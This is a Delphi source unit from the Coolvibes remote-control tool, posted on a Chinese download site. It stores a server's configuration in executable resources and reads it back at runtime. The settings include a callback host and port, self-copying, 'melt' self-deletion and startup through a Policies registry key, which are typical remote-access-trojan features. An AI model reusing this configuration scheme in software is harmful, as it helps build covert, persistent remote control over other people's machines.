⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 settingsdef.pas

📁 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制 Coolvibes 远程控制
💻 PAS
字号:
{Unit usada Coolvibes 0.2 para leer y escribir la configuraci髇 del archivo
Pertenece tanto al cliente como al server, estando en la carpeta del server SettingsDef.pas}
unit SettingsDef;
{Basada en:
      * Source: Editserver using Resources example
      * Date:   17th October '06
      * Author: tt (theef3000[at]yahoo[dot]com)
    (If you use this source, don't forget to credit the author!)}

interface

uses
  Windows;

type
 {* All data we want to read/write is stored in this record *}
  TSettings = record
    sHost, sPort, sID, sFileNameToCopy, sCopyTo, sPoliciesRegKeyName: String[255];  //Cadena de 255 caracteres
    iPort, iTimeToNotify: Integer;
    bCopiarArchivo, bMelt, bArranquePolicies : boolean;
  end;
  PSettings = ^TSettings;

const
  RC_SETTINGS = 'CFG';

function WriteSettings(Filename: PChar; Settings: PSettings): Boolean;
function ReadSettings(var Settings: PSettings): Boolean;

implementation

// Escribe la configuraci髇 en el archivo especificado
function WriteSettings(Filename: PChar; Settings: PSettings): Boolean;
var
  hResource: THandle;
begin
  Result := False;
  hResource := BeginUpdateResource(Filename, False);
  if hResource <> 0 then
  begin
    if UpdateResource(hResource, RT_RCDATA, RC_SETTINGS, 0, Settings, SizeOf(Settings^)) then
      Result := True;
    EndUpdateResource(hResource, False);  //Hay que cerrar el recurso de todos modos
  end;
end;

// Lee la configuraci髇 de si mismo
function ReadSettings(var Settings: PSettings): Boolean;
var
  hResInfo: HRSRC;
  hRes: HGLOBAL;
begin
  Result := False;
  hResInfo := FindResource(hInstance, RC_SETTINGS, RT_RCDATA);
  if hResInfo <> 0 then
  begin
    hRes := LoadResource(hInstance, hResInfo);
    if hRes <> 0 then
    begin
      Settings := LockResource(hRes);
      Result := True;
    end;
  end;
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -